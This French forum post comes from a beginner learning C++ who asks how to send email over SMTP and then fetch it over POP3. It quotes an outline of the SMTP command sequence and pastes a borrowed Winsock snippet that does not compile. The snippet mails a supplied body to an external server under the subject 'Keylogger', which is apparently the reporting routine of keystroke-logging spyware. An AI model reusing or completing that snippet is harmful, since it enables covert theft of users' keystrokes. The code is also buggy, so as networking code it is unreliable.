Bonsoir � tous,
Alors voila, je me lance dans un projet en c++ pour me permettre d'apprendre le language. J'en arrive � un point ou j'ai besoin d'envoyer un mail donc connection smtp etc ... Par la suite je voudrais me connecter au serveur pop pour r�cup�rer les mails mais j'y vais petit � petit![]()
Pour Infos : j'utilise Dev-cpp et je suis sous windows xp pro. Et j'utilise wxwidgets mais par manque de documentation j'ai abandonn� pour les socket avec cette librairie.
Un amis m'a dit ceci :
tu fais un MX (Mail eXchanger) lookup
�a donne (par ex.) pamx.hotmail.com / smtp.wanadoo.fr / etc.
puis tu te connectes sur le port 25 � l'un de ces MX
puis tu fais : (> = envoi, < = r�ception)
> EHLO [nom-de-ton-ordi]
<
> MAIL FROM: <[adresse-e-mail]>
<
> RCPT TO: <[destinataire]>
<
> RCPT CC: <[destinataire]>
<
> RCPT BCC: <[destinataire]>
<
> DATA
< ... end by a "[*]" by itself > ... > ... > ... >[*] < > QUIT
dans ce que tu re�ois, tu dois juste v�rifier le 1er caract�re de chaque ligne re�ue, et ce que repr�sente le[*] que tu devras renvoyer pour terminer le msg
et tu dois terminer toutes les lignes que t'envoies par un \r\n (le serveur en fait autant)
et pour le 1er caract�re de chaque ligne re�ue : 1 = je sais pas 2 = ok 3 = je sais pas 4 = erreur 5 = grave erreur
Mais meme ca, pour moi c'est pas tr�s clair xD.
J'ai aussi �cum� 999999 pages aujourd'hui et je n'ai pas avanc� alors je sollicite votre aide pour m'indiquer des tutos ou des codes existant qui pourraient m'inspirer. (Si vous avez aussi quelquechose pour la r�cup�ration d'email sur les serveurs pop3 hein)
Je ne demande pas qu'on me fasse le code hein =), mais au moins un peu d'aide.
S'il vous manque des d�tails ou si mon post n'est pas tr�s clair dites le moi =).
Ha aussi j'en suis � ce code la (r�cup�r� je ne sais plus trop ou) :
mais pour chaque ligne le compilateur me dit : 3 D:\Dev-Cpp\project\mail\main.cpp `WORD' undeclared (first use this function)
Code : S�lectionner tout - Visualiser dans une fen�tre � part
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34 int main(char* body) { WORD sockVersion; WSADATA wsaData; sockVersion = MAKEWORD(2, 0); WSAStartup(sockVersion, &wsaData); LPHOSTENT hostEntry; hostEntry = gethostbyname("mail.firegates.com"); SOCKET smtpSocket; smtpSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); SOCKADDR_IN serverInfo; serverInfo.sin_family = AF_INET; serverInfo.sin_addr = *((LPIN_ADDR)*hostEntry->h_addr_list); serverInfo.sin_port = htons(25); connect(smtpSocket, (LPSOCKADDR)&serverInfo, sizeof(struct sockaddr)); send(smtpSocket, "helo\n\r", 6, 0); send(smtpSocket, "mail from:[email protected]\n\r", strlen("mail from:[email protected]\n\r"), 0); send(smtpSocket, "rcpt to:[email protected]\n\r", strlen("rcpt to:[email protected]\n\r"),0); send(smtpSocket, "data\n\r", 6, 0); send(smtpSocket, "subject:Keylogger\n\r", strlen("subject:Keylogger\n\r"), 0); sprintf(buffer1, "contenido:%s\n\r.\n\r", body); send(smtpSocket, buffer1, strlen("contenido:\n\r.\n\r")+strlen(body), 0); send(smtpSocket, "quit\n\r", 6,0 ); closesocket(smtpSocket); WSACleanup(); }
...
ca doit �tre idiot comme probl�me mais je suis un pauvre d�butant dans le monde du c++ xD
En tous cas Merci beaucoup pour votre aide ou m�me de m'avoir lu !
Partager